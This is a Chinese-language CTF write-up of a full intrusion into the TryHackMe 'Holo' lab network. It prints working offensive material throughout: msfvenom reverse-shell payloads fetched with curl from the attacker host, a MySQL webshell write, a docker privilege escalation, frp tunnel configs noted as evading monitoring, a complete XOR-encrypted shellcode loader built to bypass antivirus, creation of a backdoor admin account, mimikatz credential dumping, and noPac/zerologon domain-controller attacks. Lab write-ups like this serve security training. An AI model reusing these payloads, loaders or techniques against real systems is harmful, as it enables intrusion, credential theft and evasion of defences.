内网渗透|记一次有趣的复杂靶场渗透

2023-11-04 12:10:13 浏览数 (1)

记录一下tryhackme的Holo的靶场完成过程。和原本作者思路和工具不太一样,用自己的思路打了一下,更加优雅方便(实际上是自己太懒了),某些自己不懂的地方部分更加细节展开。中途太忙断了好久,还断网心态崩了,有一些自己的新思路,其他都是常规操作。

端口扫描:

代码语言:javascript复制
/TideFinger_Linux -h 10.200.112.33 -p 1-65535

似乎有个高端口是socks5的无认证代理,也许后面会有作用,先放着。按照题目继续对80的wordpress进行枚举,发现版本信息:

代码语言:javascript复制
nuclei -tags  wordpress -u http://10.200.112.33/  -rl 10

对http://10.200.112.33/单个ip进行虚拟host发现,ffuf使用过滤FUZZ,这里可能有师傅不清楚实战中要不要fuzz这个点,实际情况是根据中间件的配置情况来看的,比方说ngnix和apache都有这个配置虚拟主机的选项,在集群部署的政府单位、或者一些需要负载均衡的场景比较常见,说人话就是如果某个网站的ip业务流量比较大,而且这个服务器性能又比较好适合做这个。

回到正题:

代码语言:javascript复制
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt  -H "Host: FUZZ.holo.live" -u http://10.200.112.33/ -fs 21456

速度很慢,速度大概在每秒50个速度,把暴力破解出来的添加到hosts文件

直接访问看看这些网站有什么有价值的东西,目录扫描看看:

从admin的扫描内可以发现robots.txt的内容比较大

访问获得绝对路径:

直接访问是403,需要配合任意文件读取获取到凭据

利用任意文件下载获取到creds.txt,因为vhost本质上是在一台机器上,所以能读取到其他的文件。

拿到密码登录:

翻阅源代码,不难看到有个被注释了的

代码语言:javascript复制
//if ($_GET['cmd'] === NULL) { echo passthru("cat /tmp/Views.txt"); } else { echo passthru($_GET['cmd']);} -->

给到cmd参数即可执行命令:

上msf直接拿交互式shell:

代码语言:javascript复制
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.50.109.210 LPORT=9001 -f elf -o reverse.elf
代码语言:javascript复制
curl http://10.50.109.210:8101/reverse.elf -o /tmp/agent

拿到shell

尝试提权:

代码语言:javascript复制
exploit/linux/local/apport_abrt_chroot_priv_esc                                                                                                                                            
 exploit/linux/local/cve_2021_3493_overlayfs   
 exploit/linux/local/cve_2022_0995_watch_queue
 exploit/linux/local/su_login

提不上去.... 找一下flag,发现在/var/www

根据php里面的配置,数据库指向发现新的资产,利用账户密码去连接

用msf搭建socks代理:

代码语言:javascript复制
proxychains mysql -u admin -p -h 192.168.100.1

因为是默认页面就直接写入就好了:

代码语言:javascript复制
select '<?php phpinfo()?>' INTO OUTFILE '/var/www/html/test.php';

执行命令上线,再操作一波:

上传到临时文件再赋予权限执行

用的kali集成的linpeas,内容比较多,这里已经提示了suid提权,找一下:

去https://gtfobins.github.io/gtfobins/docker/找到提权的向量:

代码语言:javascript复制
sudo install -m =xs $(which docker) .
./docker run -v /:/mnt --rm -it alpine chroot /mnt sh

这里不是交互式的tty,所以失败了

代码语言:javascript复制
python3 -c 'import pty; pty.spawn("/bin/bash")'

提权也可以偷个懒,再次利用suggest模块exp提权:

等待一会,即可上线,这里不得不说msf的提权真是强,特别在exp提权上,如果自己编译是会很多出错导致难以利用,互联网上的poc在不同环境都是有兼容性问题的,这里msf就已经考虑好了兼容性的问题:

读取cat /etc/shadow密码破解(实战下还是有必要去破解一下的,因为很多单位用的密码都一样,只要能破解出明文,利用明文去横向将会显得非常重要):

利用hashcat破解:

代码语言:javascript复制
hashcat -m 1800 -a 0 hash.txt rockyou.txt

对应的明文:

代码语言:javascript复制
$6$Zs4KmlUsMiwVLy2y$V8S5G3q7tpBMZip8Iv/H6i5ctHVFf6.fS.HXBw9Kyv96Qbc2ZHzHlYHkaHm8A5toyMA3J53JU.dc6ZCjRxhjV1:linuxrulez

拿到密码登录验证一下:linux-admin

对同网段下的ip进行扫描,发现新的资产:

整理一下扫描的信息,(从这里之后的图片因为重置了靶场与之前的ip已经改变,不过问题不大),10.200.108.35的机器名是PC-FILESRV01 ,10.200.108.30的机器名是DC-SRV01,扫描结果也显示了是域控Domain Controllers,10.200.108.31的机器名是S-SRV01,http://10.200.108.30:80

再次搭建代理,这里直接用frp,frp的稳定性人尽皆知,这里就贴一下经常使用配置就好了:

代码语言:javascript复制
./frps -c frps.ini
代码语言:javascript复制
[common]
bind_port = 7000
token = Yuzusoft
tls_enable = true

客户端配置,实战中启用tls可以绕过态势感知、防火墙的拦截:

代码语言:javascript复制
[common]
token = Yuzusoft
disable_custom_tls_first_byte = true
server_addr = 127.0.0.1
server_port = 7000
tls_enable = true

[socks5]
remote_port = 5444
plugin = socks5

搭建完毕就可以访问 http://10.200.108.31/ 了:

不晓得为什么burp出了什么问题,忍一下用浏览器来抓包,不难看出这里有个重置密码的参数让人感兴趣:

爆破用户名失败之后我重新翻找了之前mysql的数据库,找到了gurag用户:

抓包分析发现gurag的token其实已经返回在返回包,一个简单的逻辑漏洞:

之后带着这个token去访问之前的页面即可:

登录之后一个典型的前端过滤上传:

根据之前目录扫描的结果,应该在images目录下

果不其然,直接一波php上传Getshell,直接拿到system权限:

拿着进程去棱角社区进程识别看看,果然有杀毒,不过欺负一下微软的杀毒还是很轻松的:

生成木马,本来想用https,但是上不了线,只能用tcp了

代码语言:javascript复制
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.31.41 LPORT=8888 -f raw -o test.txt

写了分离的shellcode加载器:

代码语言:javascript复制
#include <iostream>
#include <fstream>
#include <vector>
#include <Windows.h>

char Key[7] = { 'Y', 'U', 'Z', 'S', 'O', 'F', 'T' };
// 解密函数
int keyLength = 7;

void decrypt(std::vector<unsigned char>& encryptedData) {
    int keyIndex = 0; // 初始密钥索引为0

    for (size_t i = 0; i < encryptedData.size();   i) {
        encryptedData[i] = encryptedData[i] ^ Key[keyIndex]; // 使用当前密钥进行异或解密
        keyIndex = (keyIndex   1) % keyLength; // 更新密钥索引,确保在0到6之间循环
    }
}


int main() {

    // 读取 shellcode 从本地已经加密的 log 文件
    std::ifstream file("log.txt", std::ios::binary);
    std::vector<unsigned char> shellcode;


    if (file) {
        file.seekg(0, std::ios::end);
        size_t size = file.tellg();
        shellcode.resize(size);

        file.seekg(0, std::ios::beg);
        file.read(reinterpret_cast<char*>(shellcode.data()), size);
        file.close();
    }
    else {
        std::cout << "open file fail" << std::endl;
        return 1;
    }
    Sleep(35000);
    decrypt(shellcode);
    // 分配内存
    LPVOID allocMem = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (allocMem == NULL) {
        std::cout << "内存分配" << std::endl;
        return 1;
    }
    // 将 shellcode 拷贝到分配的内存中
    memcpy(allocMem, shellcode.data(), shellcode.size());
    // 执行 shellcode
    typedef void (*ShellcodeFunction)();
    ShellcodeFunction func = (ShellcodeFunction)allocMem;
    func();

    // 释放内存
    VirtualFree(allocMem, 0, MEM_RELEASE);

    return 0;
}

shellcode加载器本地测试免杀通过了

成功上线:

传个vt看看,20/70,算了,能用就行:

靶机一直没上线,可能是端口转发的问题,没办法了,虽然OPSEC原则上加用户是很糟糕的方法,但我这里还是加个用户登上去看看到底是怎么回事:

代码语言:javascript复制
net user Yuzusoft XXMn9nJfUVEDx2Lk  /add
net localgroup administrators Yuzusoft /add

登上去才发现,好吧,这是一个经典错误,报了个dll未找到的错误(后来几天后同事提点发现是编译的问题):

请原谅我直接在UI内部关掉杀毒,之前还写过python的加载器,结果虚拟机之前快照重置了,就不再这里浪费时间了:

经过一点点时间,上传木马执行上线:

转储密码哈希:

代码语言:javascript复制
load mimikatz
kiwi_cmd sekurlsa::logonpasswords

报错说32位的不能访问64位的进程:

这里得找个64位的进程迁移过去

代码语言:javascript复制
migrate xxxx

没有cs那么舒服自己整理好了凭据,我们自己找一下,慢慢翻下去找到了明文用户和密码watamet和Nothingtoworry!

现在我们控制了域内的主机,有一个域用户了,还有明文密码,满足了很多域漏洞的利用条件,我就不按照官方的操作了,居然要重启主机,它的中继攻击利用条件太苛刻了,实战很难碰上:

noPac

这个其实是两个漏洞的组合利用,流行是说法是NoPAC,另一种是sam-the-admin,是CVE-2021-42278和CVE-2021-42287的组合拳,利用也很简单,跑一下脚本就打下域控了,利用条件就是要拿到一个用户的账号密码,

代码语言:javascript复制
proxychains python3 sam_the_admin.py holo.live/watamet:Nothingtoworry! -dc-ip 10.200.107.30  -shell

可以拿到TGT,但是脚本只能打一次,不过我们依然可以拿到之前的缓存TGT去认证:

代码语言:javascript复制
KRB5CCNAME='Administrator.ccache'  proxychains  /usr/bin/impacket-smbexec -target-ip 10.200.107.30 -dc-ip 10.200.107.30 -k  -no-pass @'dc-srv01.holo.live'

Zerologon

这个神洞就不用说了,我们已经用了太多次了,逻辑漏洞无视所有防御,这里我用mimikatz去检测:

代码语言:javascript复制
kiwi_cmd lsadump::zerologon /target:10.200.107.30 /account:Administrator

运行显示不存在,看样子靶场已经修复了这个漏洞:

最后拿下全部靶机:

总结

都是一些常规操作,没啥难度,就是很费时间和耐心,之前断网了一次导致我要重新搭建代理,心态很炸,中间隔着省Hvv,后面攻击欲望变低懒得打了,msf好多命令都记不住,这个神器还是得认真学一下的(官方文档看的头晕),原本就能靠它一键搭代理,cs入口是linux反而局限太多,后续还得学一下sliver。打法思路就是找RCE、找数据库密码逃逸容器,之后搭建代理,做一下免杀,对着域控常规的几个漏洞伺候一下就结束了,本来还是得做一下权限维持才好,熟悉熟悉常见的权限维持对后面当红队还是蓝队都很重要。

c#

0 人点赞